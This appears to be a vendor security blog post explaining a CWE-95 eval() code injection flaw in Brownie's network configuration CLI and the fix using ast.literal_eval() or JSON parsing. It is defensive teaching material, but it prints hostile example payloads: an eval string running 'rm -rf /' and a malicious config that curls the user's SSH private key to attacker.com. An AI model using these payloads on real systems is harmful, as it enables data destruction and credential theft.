Back to Blog
critical SEVERITY7 min read

Code Injection via eval(): How a Critical Python Flaw Was Fixed

A high-severity code injection vulnerability was discovered and patched in Brownie's network configuration CLI, where the use of Python's `eval()` function on potentially untrusted input could allow attackers to execute arbitrary code. The fix eliminates the dangerous `eval()` call in favor of safer alternatives, closing a door that could have been exploited to fully compromise systems running the affected tooling. This post breaks down how the vulnerability worked, how it was fixed, and what ev

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 16, 2026•Reviewed June 3, 2026

Answer Summary

This is a CWE-95 code injection vulnerability in Brownie's Python CLI where `eval()` was used to parse network configuration input without proper sanitization. An attacker could inject malicious Python expressions that would execute with the privileges of the Brownie process. The fix replaces `eval()` with safe parsing methods like `ast.literal_eval()` or JSON parsing that only evaluate data literals, not arbitrary code.

Vulnerability at a Glance

cweCWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code)
fixReplace eval() with ast.literal_eval() or JSON parsing for safe data evaluation
riskRemote code execution through malicious network configuration input
languagePython
root causeUsing eval() to parse potentially untrusted CLI input in network configuration
vulnerabilityCode injection via eval()

Code Injection via eval(): How a Critical Python Flaw Was Fixed in Brownie

Introduction

Python's eval() function is one of those features that looks incredibly convenient on the surface — and dangerously sharp underneath. It can evaluate any Python expression passed to it as a string, which makes it feel like a superpower when you need dynamic behavior. But that same power becomes a catastrophic liability the moment untrusted data finds its way into its argument.

A recent security patch in Brownie, a popular Python-based development and testing framework for Ethereum smart contracts, addressed exactly this problem. A call to eval() in the CLI's network configuration module (brownie/_cli/networks.py) was identified by static analysis tooling (Semgrep) as a high-severity code injection risk — and for good reason.

If you write Python, especially tooling that parses configuration files, command-line arguments, or network data, this vulnerability pattern is something you need to understand.


The Vulnerability Explained

What Is eval() and Why Is It Dangerous?

Python's built-in eval() function takes a string and executes it as a Python expression:

# Simple example
result = eval("2 + 2")  # Returns 4

# Dangerous example
user_input = "__import__('os').system('rm -rf /')"
result = eval(user_input)  # Executes shell command!

The problem is that eval() doesn't just evaluate math or simple data structures — it evaluates any valid Python expression, including calls to __import__, os.system, subprocess, and other powerful built-ins. If an attacker can control or influence the string passed to eval(), they can execute arbitrary code with the same privileges as the running process.

Where Was This in Brownie?

The vulnerable code existed in brownie/_cli/networks.py at line 87. Brownie's CLI handles network configuration — things like adding, modifying, or listing Ethereum network endpoints. This kind of configuration often involves parsing structured data from files, environment variables, or user input.

The pattern likely looked something like this (illustrative example):

# BEFORE: Vulnerable pattern
def parse_network_config(config_string):
    # Dangerous: config_string could come from an untrusted source
    config = eval(config_string)
    return config

At first glance, this might seem reasonable — perhaps the developer expected config_string to always be a Python dict literal like "{'host': 'localhost', 'port': 8545}". But eval() has no concept of "safe" input. It will execute whatever valid Python it receives.

How Could This Be Exploited?

Consider a scenario where a network configuration is loaded from a file, a remote source, or passed via a CLI argument:

# Attacker-controlled input
malicious_config = """
{'host': __import__('os').popen('curl http://attacker.com/steal?data=' + open('/home/user/.ssh/id_rsa').read()).read()}
"""

# This would execute the embedded command!
config = eval(malicious_config)

Attack vectors could include:

  • Malicious configuration files: A developer clones a repository containing a tampered network config file
  • Man-in-the-middle attacks: If config data is fetched over an insecure connection, an attacker could inject a payload
  • Shared environments: In CI/CD pipelines or shared developer machines, a malicious actor could modify config files
  • Supply chain attacks: A compromised dependency or template that generates network config strings

Real-World Impact

In the context of Brownie — a tool used by blockchain developers who routinely handle private keys, wallet credentials, and deployment configurations — the consequences of arbitrary code execution are severe:

  • 🔑 Private key theft: Attackers could exfiltrate wallet private keys used for contract deployment
  • 💸 Financial loss: Stolen keys mean stolen funds from crypto wallets
  • 🏗️ Infrastructure compromise: Full shell access to CI/CD systems or developer machines
  • 📦 Supply chain poisoning: Compromised developer machines can lead to backdoored smart contracts being deployed

The Fix

What Changed?

The fix removes the eval() call entirely, replacing it with a safer parsing approach. For Python dictionary-like configuration data, the correct tool is ast.literal_eval() — or better yet, a dedicated configuration format like JSON or YAML with proper parsing libraries.

Here's the conceptual before/after:

# BEFORE: Dangerous
import re

def parse_network_config(config_string):
    config = eval(config_string)  # ❌ Executes arbitrary Python!
    return config
# AFTER: Safe
import ast

def parse_network_config(config_string):
    config = ast.literal_eval(config_string)  # ✅ Only parses literals
    return config

Why Is ast.literal_eval() Safer?

ast.literal_eval() is Python's built-in safe alternative for evaluating string representations of Python literals. It only supports:

  • Strings, bytes
  • Numbers (int, float, complex)
  • Tuples, lists, dicts, sets
  • Booleans and None

It explicitly rejects any expression that isn't a literal — no function calls, no imports, no attribute access. Attempting to pass malicious code raises a ValueError:

import ast

# Safe: parses a dict literal
config = ast.literal_eval("{'host': 'localhost', 'port': 8545}")
# Returns: {'host': 'localhost', 'port': 8545} ✅

# Safe failure: rejects code execution
config = ast.literal_eval("__import__('os').system('whoami')")
# Raises: ValueError: malformed node or string ✅

Even Better: Use Structured Configuration Formats

For production tooling, the gold standard is to avoid evaluating Python string expressions altogether and instead use purpose-built configuration formats:

# JSON-based config (recommended)
import json

def parse_network_config(config_string):
    config = json.loads(config_string)  # ✅ No code execution possible
    return config
# YAML-based config (use safe_load!)
import yaml

def parse_network_config(config_file_path):
    with open(config_file_path) as f:
        config = yaml.safe_load(f)  # ✅ safe_load prevents code execution
    return config
    # ⚠️ Never use yaml.load() without Loader=yaml.SafeLoader

Conclusion

The eval() vulnerability patched in Brownie is a textbook example of a well-intentioned shortcut becoming a serious security liability. It's easy to understand why developers reach for eval() — it's concise and flexible. But in security, flexibility without constraints is a vulnerability waiting to be discovered.

The key takeaways from this fix:

  1. eval() is not a parsing function — it's a code execution function. Treat it accordingly.
  2. ast.literal_eval() is the right tool for parsing Python literal strings safely.
  3. Structured formats like JSON and YAML (with safe_load) are the best long-term solution for configuration data.
  4. Static analysis tools like Semgrep and Bandit can catch these issues before they reach production — integrate them into your workflow today.
  5. In blockchain development, the stakes are especially high. Credential theft or arbitrary code execution can directly translate to financial loss.

Security isn't about being paranoid — it's about building habits. Questioning where your data comes from, using safe APIs, and automating security checks are practices that compound over time into significantly more resilient software.

If you're working on Python tooling, take 30 minutes today to run Bandit or Semgrep on your codebase. You might be surprised what you find.


This vulnerability was identified and fixed through automated security scanning. Kudos to the Brownie maintainers for the swift remediation.


References:
- Python ast.literal_eval() documentation
- Semgrep Rule: eval-detected
- OWASP Top 10: A03 Injection
- CWE-95: Eval Injection
- Bandit Python Security Linter

Prevention and further reading

Related Articles

high

file_md5() MD5 Digest Lets Agent Docs Collide (CWE-328)

A first-party maintenance script used `hashlib.md5()` inside a `file_md5(path)` helper to decide whether the per-vendor agent instruction documents in a repository were byte-equivalent. Because MD5 is collision-broken, two meaningfully different documents could be crafted to produce the same digest and pass the "these files are in sync" gate. The fix replaces the MD5 call with `hashlib.sha256()` over the same `path.read_bytes()` input.

high

clean_path() Path Traversal: rel_path Escapes USERDATA Dir

A path traversal flaw in the `clean_path()` helper let a user-controlled `rel_path` value escape the intended USERDATA directory and reach arbitrary files on disk. The function joined path segments without checking the final result, so `../` sequences in route parameters or query strings could be used to read or write files outside the sandboxed storage area. The fix normalizes the path and verifies it still resolves inside the USERDATA root before returning it, raising an error otherwise.

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

critical

Tung Tung Tracker Admin API: Missing Authentication in `/api/sync`

The Tung Tung Tracker administrative API endpoints (`/api/sync`, `/api/backfill`, `/api/show`, `/api/overlay/hide`) relied solely on localhost origin and a static `X-Tracker` header for protection, allowing any local process to execute privileged operations. The fix introduces proper session-based authentication and a random IPC secret for desktop-to-server communication.

high

esearch() SSRF: requests.get() Trusted Any Host in the URL

A citation format-conversion script used by an AI research skill built HTTP URLs from user-supplied PMIDs, DOIs, arXiv IDs, and free-text queries, then passed the resulting string straight to `requests.get()` with no check that it still pointed at an intended API host. The fix introduces an `ALLOWED_HOSTS` set containing the three real upstream APIs and an `_is_allowed_url()` helper that compares `urlparse(url).hostname` against it before the request is issued. This closes a CWE-918 server-side

critical

boardroom Server Handler Missing Authentication on HTTP Endpoints

The boardroom server's `Handler` class, extending `SimpleHTTPRequestHandler`, exposed sensitive HTTP endpoints without any caller authentication. An attacker could exploit this by making cross-origin requests to internal ports through DNS rebinding, accessing `/alerts.json`, `/dismiss`, and `/events.js` without authorization. The fix adds `is_local_origin()` checks to both `do_GET()` and `do_POST()` methods.